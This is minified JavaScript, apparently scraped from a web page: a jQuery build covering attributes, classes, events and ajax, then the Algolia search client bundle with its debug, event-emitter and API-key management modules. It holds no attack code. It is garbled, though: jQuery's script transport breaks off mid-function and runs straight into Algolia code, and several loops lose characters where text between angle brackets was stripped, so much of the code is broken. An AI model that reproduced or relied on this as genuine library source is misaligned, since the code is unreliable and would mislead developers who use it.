this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return a(t.dataTypes[0])||!i["*"]&&a("*")}function zt(e,t){var n,r,i=w.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&w.extend(!0,e,r),e}function Xt(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}function Ut(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}w.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Ct.href,type:"GET",isLocal:Pt.test(Ct.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":w.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?zt(zt(e,w.ajaxSettings),t):zt(w.ajaxSettings,e)},ajaxPrefilter:Ft(It),ajaxTransport:Ft(Wt),ajax:function(t,n){"object"==typeof t&&(n=t,t=void 0),n=n||{};var i,o,a,s,u,l,c,f,p,d,h=w.ajaxSetup({},n),g=h.context||h,y=h.context&&(g.nodeType||g.jquery)?w(g):w.event,v=w.Deferred(),m=w.Callbacks("once memory"),x=h.statusCode||{},b={},T={},C="canceled",E={readyState:0,getResponseHeader:function(e){var t;if(c){if(!s){s={};while(t=Ot.exec(a))s[t[1].toLowerCase()]=t[2]}t=s[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return c?a:null},setRequestHeader:function(e,t){return null==c&&(e=T[e.toLowerCase()]=T[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==c&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(c)E.always(e[E.status]);else for(t in e)x[t]=[x[t],e[t]];return this},abort:function(e){var t=e||C;return i&&i.abort(t),k(0,t),this}};if(v.promise(E),h.url=((t||h.url||Ct.href)+"").replace(Rt,Ct.protocol+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(M)||[""],null==h.crossDomain){l=r.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Bt.protocol+"//"+Bt.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=w.param(h.data,h.traditional)),_t(It,h,n,E),c)return E;(f=w.event&&h.global)&&0==w.active++&&w.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Mt.test(h.type),o=h.url.replace(Lt,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(qt,"+")):(d=h.url.slice(o.length),h.data&&(h.processData||"string"==typeof h.data)&&(o+=(kt.test(o)?"&":"?")+h.data,delete h.data),!1===h.cache&&(o=o.replace(Ht,"$1"),d=(kt.test(o)?"&":"?")+"_="+Et+++d),h.url=o+d),h.ifModified&&(w.lastModified[o]&&E.setRequestHeader("If-Modified-Since",w.lastModified[o]),w.etag[o]&&E.setRequestHeader("If-None-Match",w.etag[o])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&E.setRequestHeader("Content-Type",h.contentType),E.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+$t+"; q=0.01":""):h.accepts["*"]);for(p in h.headers)E.setRequestHeader(p,h.headers[p]);if(h.beforeSend&&(!1===h.beforeSend.call(g,E,h)||c))return E.abort();if(C="abort",m.add(h.complete),E.done(h.success),E.fail(h.error),i=_t(Wt,h,n,E)){if(E.readyState=1,f&&y.trigger("ajaxSend",[E,h]),c)return E;h.async&&h.timeout>0&&(u=e.setTimeout(function(){E.abort("timeout")},h.timeout));try{c=!1,i.send(b,k)}catch(e){if(c)throw e;k(-1,e)}}else k(-1,"No Transport");function k(t,n,r,s){var l,p,d,b,T,C=n;c||(c=!0,u&&e.clearTimeout(u),i=void 0,a=s||"",E.readyState=t>0?4:0,l=t>=200&&t<300||304===t,r&&(b=Xt(h,E,r)),b=Ut(h,b,E,l),l?(h.ifModified&&((T=E.getResponseHeader("Last-Modified"))&&(w.lastModified[o]=T),(T=E.getResponseHeader("etag"))&&(w.etag[o]=T)),204===t||"HEAD"===h.type?C="nocontent":304===t?C="notmodified":(C=b.state,p=b.data,l=!(d=b.error))):(d=C,!t&&C||(C="error",t<0&&(t=0))),E.status=t,E.statusText=(n||C)+"",l?v.resolveWith(g,[p,C,E]):v.rejectWith(g,[E,C,d]),E.statusCode(x),x=void 0,f&&y.trigger(l?"ajaxSuccess":"ajaxError",[E,h,l?p:d]),m.fireWith(g,[E,C]),f&&(y.trigger("ajaxComplete",[E,h]),--w.active||w.event.trigger("ajaxStop")))}return E},getJSON:function(e,t,n){return w.get(e,t,n,"json")},getScript:function(e,t){return w.get(e,void 0,t,"script")}}),w.each(["get","post"],function(e,t){w[t]=function(e,n,r,i){return g(n)&&(i=i||r,r=n,n=void 0),w.ajax(w.extend({url:e,type:t,dataType:i,data:n,success:r},w.isPlainObject(e)&&e))}}),w._evalUrl=function(e){return w.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},w.fn.extend({wrapAll:function(e){var t;return this[0]&&(g(e)&&(e=e.call(this[0])),t=w(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(e){return g(e)?this.each(function(t){w(this).wrapInner(e.call(this,t))}):this.each(function(){var t=w(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=g(e);return this.each(function(n){w(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(e){return this.parent(e).not("body").each(function(){w(this).replaceWith(this.childNodes)}),this}}),w.expr.pseudos.hidden=function(e){return!w.expr.pseudos.visible(e)},w.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},w.ajaxSettings.xhr=function(){try{return new e.XMLHttpRequest}catch(e){}};var Vt={0:200,1223:204},Gt=w.ajaxSettings.xhr();h.cors=!!Gt&&"withCredentials"in Gt,h.ajax=Gt=!!Gt,w.ajaxTransport(function(t){var n,r;if(h.cors||Gt&&!t.crossDomain)return{send:function(i,o){var a,s=t.xhr();if(s.open(t.type,t.url,t.async,t.username,t.password),t.xhrFields)for(a in t.xhrFields)s[a]=t.xhrFields[a];t.mimeType&&s.overrideMimeType&&s.overrideMimeType(t.mimeType),t.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");for(a in i)s.setRequestHeader(a,i[a]);n=function(e){return function(){n&&(n=r=s.onload=s.onerror=s.onabort=s.ontimeout=s.onreadystatechange=null,"abort"===e?s.abort():"error"===e?"number"!=typeof s.status?o(0,"error"):o(s.status,s.statusText):o(Vt[s.status]||s.status,s.statusText,"text"!==(s.responseType||"text")||"string"!=typeof s.responseText?{binary:s.response}:{text:s.responseText},s.getAllResponseHeaders()))}},s.onload=n(),r=s.onerror=s.ontimeout=n("error"),void 0!==s.onabort?s.onabort=r:s.onreadystatechange=function(){4===s.readyState&&e.setTimeout(function(){n&&r()})},n=n("abort");try{s.send(t.hasContent&&t.data||null)}catch(e){if(n)throw e}},abort:function(){n&&n()}}}),w.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),w.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return w.globalEval(e),e}}}),w.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),w.ajaxTransport("script",function(e){if(e.crossDomain){var t,n;return{send:function(i,o){t=w(""),window.ALGOLIA_SUPPORTS_DOCWRITE===!0?(document.write(''),n("document.write")()):r(o,n("DOMElement"))}catch(s){r(o,n("DOMElement"))}}function n(e){return function(){var t="AlgoliaSearch: loaded V2 script using "+e;window.console&&window.console.log&&window.console.log(t)}}t.exports=o},{1:1}],4:[function(e,t,r){"use strict";function o(){var e="-- AlgoliaSearch V2 => V3 error --\nYou are trying to use a new version of the AlgoliaSearch JavaScript client with an old notation.\nPlease read our migration guide at https://github.com/algolia/algoliasearch-client-js/wiki/Migration-guide-from-2.x.x-to-3.x.x\n-- /AlgoliaSearch V2 => V3 error --";window.AlgoliaSearch=function(){throw new Error(e)},window.AlgoliaSearchHelper=function(){throw new Error(e)},window.AlgoliaExplainResults=function(){throw new Error(e)}}t.exports=o},{}],5:[function(e,t,r){"use strict";function o(t){var r=e(2),o=e(3),n=e(4);r(t)?o(t):n()}o("algoliasearch")},{2:2,3:3,4:4}]},{},[5])(5)}),function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var t;t="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,t.algoliasearch=e()}}(function(){var e;return function t(e,r,o){function n(s,a){if(!r[s]){if(!e[s]){var c="function"==typeof require&&require;if(!a&&c)return c(s,!0);if(i)return i(s,!0);var u=new Error("Cannot find module '"+s+"'");throw u.code="MODULE_NOT_FOUND",u}var l=r[s]={exports:{}};e[s][0].call(l.exports,function(t){var r=e[s][1][t];return n(r?r:t)},l,l.exports,t,e,r,o)}return r[s].exports}for(var i="function"==typeof require&&require,s=0;s=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))}function i(e){var t=this.useColors;if(e[0]=(t?"%c":"")+this.namespace+(t?" %c":" ")+e[0]+(t?"%c ":" ")+"+"+r.humanize(this.diff),t){var o="color: "+this.color;e.splice(1,0,o,"color: inherit");var n=0,i=0;e[0].replace(/%[a-zA-Z%]/g,function(e){"%%"!==e&&(n++,"%c"===e&&(i=n))}),e.splice(i,0,o)}}function s(){return"object"==typeof console&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function a(e){try{null==e?r.storage.removeItem("debug"):r.storage.debug=e}catch(t){}}function c(){var e;try{e=r.storage.debug}catch(t){}return!e&&"undefined"!=typeof o&&"env"in o&&(e=o.env.DEBUG),e}function u(){try{return window.localStorage}catch(e){}}r=t.exports=e(2),r.log=s,r.formatArgs=i,r.save=a,r.load=c,r.useColors=n,r.storage="undefined"!=typeof chrome&&"undefined"!=typeof chrome.storage?chrome.storage.local:u(),r.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"],r.formatters.j=function(e){try{return JSON.stringify(e)}catch(t){return"[UnexpectedJSONParseError]: "+t.message}},r.enable(c())}).call(this,e(12))},{12:12,2:2}],2:[function(e,t,r){function o(e){var t,o=0;for(t in e)o=(o<<5)-o+e.charCodeAt(t),o|=0;return r.colors[Math.abs(o)%r.colors.length]}function n(e){function t(){if(t.enabled){var e=t,o=+new Date,n=o-(u||o);e.diff=n,e.prev=u,e.curr=o,u=o;for(var i=new Array(arguments.length),s=0;s0&&this._events[e].length>r&&(this._events[e].warned=!0,console.error("(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.",this._events[e].length),"function"==typeof console.trace&&console.trace())),this},o.prototype.on=o.prototype.addListener,o.prototype.once=function(e,t){function r(){this.removeListener(e,r),o||(o=!0,t.apply(this,arguments))}if(!n(t))throw TypeError("listener must be a function");var o=!1;return r.listener=t,this.on(e,r),this},o.prototype.removeListener=function(e,t){var r,o,i,a;if(!n(t))throw TypeError("listener must be a function");if(!this._events||!this._events[e])return this;if(r=this._events[e],i=r.length,o=-1,r===t||n(r.listener)&&r.listener===t)delete this._events[e],this._events.removeListener&&this.emit("removeListener",e,t);else if(s(r)){for(a=i;a-- >0;)if(r[a]===t||r[a].listener&&r[a].listener===t){o=a;break}if(o<0)return this;1===r.length?(r.length=0,delete this._events[e]):r.splice(o,1),this._events.removeListener&&this.emit("removeListener",e,t)}return this},o.prototype.removeAllListeners=function(e){var t,r;if(!this._events)return this;if(!this._events.removeListener)return 0===arguments.length?this._events={}:this._events[e]&&delete this._events[e],this;if(0===arguments.length){for(t in this._events)"removeListener"!==t&&this.removeAllListeners(t);return this.removeAllListeners("removeListener"),this._events={},this}if(r=this._events[e],n(r))this.removeListener(e,r);else if(r)for(;r.length;)this.removeListener(e,r[r.length-1]);return delete this._events[e],this},o.prototype.listeners=function(e){var t;return t=this._events&&this._events[e]?n(this._events[e])?[this._events[e]]:this._events[e].slice():[]},o.prototype.listenerCount=function(e){if(this._events){var t=this._events[e];if(n(t))return 1;if(t)return t.length}return 0},o.listenerCount=function(e,t){return e.listenerCount(t)}},{}],5:[function(e,t,r){var o=Object.prototype.hasOwnProperty,n=Object.prototype.toString;t.exports=function(e,t,r){if("[object Function]"!==n.call(t))throw new TypeError("iterator must be a function");var i=e.length;if(i===+i)for(var s=0;s100)){var t=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(e);if(t){var r=parseFloat(t[1]),o=(t[2]||"ms").toLowerCase();switch(o){case"years":case"year":case"yrs":case"yr":case"y":return r*p;case"days":case"day":case"d":return r*l;case"hours":case"hour":case"hrs":case"hr":case"h":return r*u;case"minutes":case"minute":case"mins":case"min":case"m":return r*c;case"seconds":case"second":case"secs":case"sec":case"s":return r*a;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return r;default:return}}}}function n(e){return e>=l?Math.round(e/l)+"d":e>=u?Math.round(e/u)+"h":e>=c?Math.round(e/c)+"m":e>=a?Math.round(e/a)+"s":e+"ms"}function i(e){return s(e,l,"day")||s(e,u,"hour")||s(e,c,"minute")||s(e,a,"second")||e+" ms"}function s(e,t,r){if(!(e0)return o(e);if("number"===r&&isNaN(e)===!1)return t["long"]?i(e):n(e);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(e))}},{}],10:[function(e,t,r){"use strict";var o=Object.prototype.hasOwnProperty,n=Object.prototype.toString,i=Array.prototype.slice,s=e(11),a=Object.prototype.propertyIsEnumerable,c=!a.call({toString:null},"toString"),u=a.call(function(){},"prototype"),l=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],p=function(e){var t=e.constructor;return t&&t.prototype===e},d={$console:!0,$external:!0,$frame:!0,$frameElement:!0,$frames:!0,$innerHeight:!0,$innerWidth:!0,$outerHeight:!0,$outerWidth:!0,$pageXOffset:!0,$pageYOffset:!0,$parent:!0,$scrollLeft:!0,$scrollTop:!0,$scrollX:!0,$scrollY:!0,$self:!0,$webkitIndexedDB:!0,$webkitStorageInfo:!0,$window:!0},h=function(){if("undefined"==typeof window)return!1;for(var e in window)try{if(!d["$"+e]&&o.call(window,e)&&null!==window[e]&&"object"==typeof window[e])try{p(window[e])}catch(t){return!0}}catch(t){return!0}return!1}(),f=function(e){if("undefined"==typeof window||!h)return p(e);try{return p(e)}catch(t){return!1}},y=function(e){var t=null!==e&&"object"==typeof e,r="[object Function]"===n.call(e),i=s(e),a=t&&"[object String]"===n.call(e),p=[];if(!t&&!r&&!i)throw new TypeError("Object.keys called on a non-object");var d=u&&r;if(a&&e.length>0&&!o.call(e,0))for(var h=0;h0)for(var y=0;y=0&&"[object Function]"===o.call(e.callee)),r}},{}],12:[function(e,t,r){function o(){throw new Error("setTimeout has not been defined")}function n(){throw new Error("clearTimeout has not been defined")}function i(e){if(p===setTimeout)return setTimeout(e,0);if((p===o||!p)&&setTimeout)return p=setTimeout,setTimeout(e,0);try{return p(e,0)}catch(t){try{return p.call(null,e,0)}catch(t){return p.call(this,e,0)}}}function s(e){if(d===clearTimeout)return clearTimeout(e);if((d===n||!d)&&clearTimeout)return d=clearTimeout,clearTimeout(e);try{return d(e)}catch(t){try{return d.call(null,e)}catch(t){return d.call(this,e)}}}function a(){m&&f&&(m=!1,f.length?y=f.concat(y):v=-1,y.length&&c())}function c(){if(!m){var e=i(a);m=!0;for(var t=y.length;t;){for(f=y,y=[];++v1)for(var r=1;r0)n.scope=r;else if("undefined"!=typeof r)throw new Error("the scope given to `copyIndex` was not an array with settings, synonyms or rules");return this._jsonRequest({method:"POST",url:"/1/indexes/"+encodeURIComponent(e)+"/operation",body:n,hostType:"write",callback:i})},o.prototype.getLogs=function(t,r,o){var n=e(24),i={};return"object"==typeof t?(i=n(t),o=r):0===arguments.length||"function"==typeof t?o=t:1===arguments.length||"function"==typeof r?(o=r,i.offset=t):(i.offset=t,i.length=r),void 0===i.offset&&(i.offset=0),void 0===i.length&&(i.length=10),this._jsonRequest({method:"GET",url:"/1/logs?"+this._getSearchParams(i,""),hostType:"read",callback:o})},o.prototype.listIndexes=function(e,t){var r="";return void 0===e||"function"==typeof e?t=e:r="?page="+e,this._jsonRequest({method:"GET",url:"/1/indexes"+r,hostType:"read",callback:t})},o.prototype.initIndex=function(e){return new i(this,e)},o.prototype.initAnalytics=function(t){var r=e(25);return r(this.applicationID,this.apiKey,t)},o.prototype.listUserKeys=s(function(e){return this.listApiKeys(e)},a("client.listUserKeys()","client.listApiKeys()")),o.prototype.listApiKeys=function(e){return this._jsonRequest({method:"GET",url:"/1/keys",hostType:"read",callback:e})},o.prototype.getUserKeyACL=s(function(e,t){return this.getApiKey(e,t)},a("client.getUserKeyACL()","client.getApiKey()")),o.prototype.getApiKey=function(e,t){return this._jsonRequest({method:"GET",url:"/1/keys/"+e,hostType:"read",callback:t})},o.prototype.deleteUserKey=s(function(e,t){return this.deleteApiKey(e,t)},a("client.deleteUserKey()","client.deleteApiKey()")),o.prototype.deleteApiKey=function(e,t){return this._jsonRequest({method:"DELETE",url:"/1/keys/"+e,hostType:"write",callback:t})},o.prototype.addUserKey=s(function(e,t,r){return this.addApiKey(e,t,r)},a("client.addUserKey()","client.addApiKey()")),o.prototype.addApiKey=function(t,r,o){var n=e(8),i="Usage: client.addApiKey(arrayOfAcls[, params, callback])";if(!n(t))throw new Error(i);1!==arguments.length&&"function"!=typeof r||(o=r,r=null);var s={acl:t};return 